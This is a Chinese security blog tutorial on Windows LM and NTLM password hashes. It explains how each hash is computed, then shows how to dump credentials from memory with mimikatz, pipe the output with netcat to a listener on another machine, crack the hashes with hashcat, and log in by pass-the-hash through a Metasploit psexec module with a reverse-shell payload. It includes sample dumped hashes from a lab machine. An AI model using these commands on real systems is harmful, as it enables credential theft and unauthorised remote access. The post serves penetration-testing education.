linux幼儿园

  • 首页
  • 信息安全
    • 红队
    • 密码学
  • 软件
  • 硬件
  • 活动目录
  • 知识点
  • linux干货
  • linux命令集
    • 磁盘管理
    • 文档编辑
    • 设备管理
    • 网络通讯
    • 系统管理
    • 文件管理
    • 其他命令
  1. 首页
  2. 信息安全
  3. 正文

浅谈Windows Hash

2020年11月17日 192点热度 0人点赞 0条评论

0x00 Hash简介

Hash一般被翻译成“散列”,也可直接音译为“哈希”,就是把任意长度的输入,通过散列算法,变换成固定长度的输出,该输出就是散列值。这种转换是一种压缩映射,也就是,散列值的空间通常远小于输入的空间,不同的输入可能会散列成相同的输出,所以不可能从散列值来唯一的确定输入值。简单的说就是一种将任意长度的消息压缩到某一固定长度的消息摘要的函数。Hash主要用于信息安全领域中加密算法,它把一些不同长度的信息转化成杂乱的128位的编码,这些编码值叫做Hash值. 也可以说,通俗的说Hash就是找到一种数据内容和数据存放地址之间的映射关系。渗透测试中获取目标系统的明文或Hash往往是整个渗透测试过程中重要的一环。在Windows系统中本机用户的密码Hash是放在本地的SAM文件里面,域内用户的密码Hash是存在域控的NTDS.DIT文件里面。

0x01 什么是Windows Hash

Windows的系统密码hash默认情况下一般由两部分组成:第一部分是LM-hash,第二部分是NTLM-hash

LM Hash

LAN Manager(LM)Hash是Windows系统所用的第一种密码哈希算法,是一种较古老的Hash,在LAN Manager协议中使用,非常容易通过暴力破解获取明文凭据。它只有唯一一个版本且一直用到了NT LAN Manager(NTLM)Hash的出现,在Windows Vista/Windows 7/Windows Server 2008以及后面的系统中,LM Hash算法是默认关闭的,LM算法是在DES基础上实现的,缺点是不区分字母大小写而且密码最大长度有限。

生成算法如下:

  1. 用户的密码字符串被全部转换成大写字母形式;
  2. 给密码字符串增加空字符,直到使其包含有14个字符为止;
  3. “新”得到的密码字符串被分成两半,每一半分别包含7个字符;
  4. 每一半字符串都各自添加一个校验位,分别用于创建两个64位的DES加密密钥;
  5. 所生成的每一个DES密钥都被用于加密一个固定的ASCII字符串KGS!@#$%,得到两个长度为8字节的密文;
  6. 两个8字节的密文合并起来,形成1个16字节的字符串即最终的HASH值。

NTLM Hash

NT LAN Manager(NTLM)Hash是Windows系统认可的另一种算法,用于替代古老的LM Hash,一般指Windows系统下Security Account Manager(SAM)中保存的用户密码hash,在Windows Vista/Windows 7/Windows Server 2008以及后面的系统中,NTLM-Hash算法是默认启用的。NTLM-Hash与LM-Hash算法相比,明文口令大小写敏感,但无法根据NTLM-Hash判断原始明文口令是否小于8字节,摆脱了魔术字符串"KGS!@#$%"。NTLM算法基于MD4哈希算法,MD4是真正的单向哈希函数,穷举做为数据源出现的明文,难度较大。

生成算法如下:

  1. 先将用户密码转换为十六进制格式。
  2. 将十六进制格式的密码进行Unicode编码。
  3. 使用MD4摘要算法对Unicode编码数据进行Hash计算

0x02 抓取Windows Hash

常用抓取工具:

  • mimikatz
  • SAMInside
  • QuarksPwDump
  • NTDSDumpEx

下面以mimikatz(https://github.com/gentilkiwi/mimikatz)为例,演示利用过程

本地抓取

1.提升权限

C
1
privilege::debug

2.抓取Hash密码

C
1
sekurlsa::logonpasswords

这种方法只能抓取登陆过的用户Hash,无法抓取所有域用户Hash;域渗透一般先通过Volume Shadow Copy服务获得域控服务器NTDS.dit文件,再从其中导出域内所有用户的Hash

远程抓取

模拟渗透测试中本机A抓取靶机B的Windows Hash

1.本机开启监听

C
1
nc -lvp 7777

2.将靶机抓取到的结果用nc发送到指定的远程机

C
1
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" | nc -v 本机IP 7777

成功得到抓取结果

C
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<span role="presentation">Authentication Id : 0 ; 362268 (00000000:0005871c)</span>
<span role="presentation">Session           : Interactive from 1</span>
<span role="presentation">User Name         : admin</span>
<span role="presentation">Domain            : WIN-ODFBD511BFQ</span>
<span role="presentation">Logon Server      : WIN-ODFBD511BFQ</span>
<span role="presentation">Logon Time        : 2020/11/11 20:41:45</span>
<span role="presentation">SID               : S-1-5-21-2283148158-263824608-889840277-1000</span>
<span role="presentation">msv :</span>
<span role="presentation"> [00000003] Primary</span>
<span role="presentation"> * Username : admin</span>
<span role="presentation"> * Domain   : WIN-ODFBD511BFQ</span>
<span role="presentation"> * LM       : e52cac67419a9a224a3b108f3fa6cb6d</span>
<span role="presentation"> * NTLM     : 8846f7eaee8fb117ad06bdd830b7586c</span>
<span role="presentation"> * SHA1     : e8f97fba9104d1ea5047948e6dfb67facd9f5b73</span>
<span role="presentation">tspkg :</span>
<span role="presentation"> * Username : admin</span>
<span role="presentation"> * Domain   : WIN-ODFBD511BFQ</span>
<span role="presentation"> * Password : password</span>
<span role="presentation">wdigest :</span>
<span role="presentation"> * Username : admin</span>
<span role="presentation"> * Domain   : WIN-ODFBD511BFQ</span>
<span role="presentation"> * Password : password</span>
<span role="presentation">kerberos :</span>
<span role="presentation"> * Username : admin</span>
<span role="presentation"> * Domain   : WIN-ODFBD511BFQ</span>
<span role="presentation"> * Password : password</span>
<span role="presentation">ssp :</span>
<span role="presentation">credman :</span>

这里的测试靶机是Win7,而Win10无法使用mimikatz读取到明文密码,只能直接读取到加密后的NTLM密文。我们可以使用Hashcat(https://github.com/hashcat/hashcat)来爆破明文,Hashcat支持多种Hash类型解密,其中LM Hash和NTLM Hash对应的hash编号分别为3000和1000,分别进行爆破

C
1
hashcat -a 0 -m 3000 --force '密文' 字典

C
1
hashcat -a 0 -m 1000 --force '密文' 字典

随着大众信息安全意识的提高,弱口令情况逐渐降低,我们经常会遇到拿到hash却解不开的情况,这样我们就需要用到PTH攻击即Hash传递攻击

0x03 Hash传递攻击

Hash传递(PASS THE Hash)攻击,简称PTH攻击。当我们抓取到某台主机的Administrator用户的LM-Hash和 NTLM-Hash ,并且该主机的开启了445端口。我们就可以利用 exploit/windows/smb/psexec 漏洞用MSF进行远程登录

C
1
2
3
4
5
6
7
<span role="presentation">msf &gt; use  exploit/windows/smb/psexec</span>
<span role="presentation">msf exploit(psexec) &gt; set payload windows/meterpreter/reverse_tcp</span>
<span role="presentation">msf exploit(psexec) &gt; set lhost 本机IP</span>
<span role="presentation">msf exploit(psexec) &gt; set rhost 靶机IP</span>
<span role="presentation">msf exploit(psexec) &gt; set smbuser Administrator</span>
<span role="presentation">msf exploit(psexec) &gt; set smbpass LM-Hash:NTLM-Hash </span>
<span role="presentation">msf exploit(psexec) &gt; exploit</span>

由于在Windows Vista/Windows 7/Windows Server 2008以及后面的系统中,LM-Hash算法是默认关闭的,不用来验证,这里的LM-Hash可以替换为任意32个字符

0x04 参考链接

https://docs.microsoft.com/en-us/windows/win32/secauthn/microsoft-ntlm

https://www.sqlsec.com/2019/11/winhash.html

https://www.secpulse.com/archives/65256.html

https://github.com/gentilkiwi/mimikatz

- END -

本作品采用 知识共享署名-相同方式共享 4.0 国际许可协议 进行许可
标签: Windows Hash
最后更新:2020年11月17日

jcghaier

from zero to hero

打赏 点赞
< 上一篇
下一篇 >

文章评论

取消回复
最新 热点 随机
最新 热点 随机
windows入侵检查流程 安全事件应急响应工具箱 利用腾讯轻量服务器搭建FRP服务 Windows局域网渗透(IPC$管道) 国内三大运营商宽带线路及分级介绍(联通篇) Windows Server 2012 R2 辅助域控制器搭建
安全事件应急响应工具箱windows入侵检查流程
Navicat全系产品注册机 dmesg命令 - 显示开机信息 printenv命令 - 显示指定的环境变量的值 mkbootdisk命令 - 建立启动盘 hwclock命令 - 系统设置 shopt命令 - 设置控制shell行为变量的开关
标签聚合
防火墙 深信服 Debian iptables tcp 勒索病毒 CentOS zabbix nmap X.509
书签
  • Linux就该这么学
  • pfschina.org
  • ruyo
  • 佐须之男
  • 大象笔记
  • 小陈博客
  • 我能过软考
  • 教父爱分享
  • 散尽浮华
  • 现代魔法学院

COPYRIGHT © 2020 linux幼儿园. ALL RIGHTS RESERVED.

THEME KRATOS MADE BY VTROIS

51la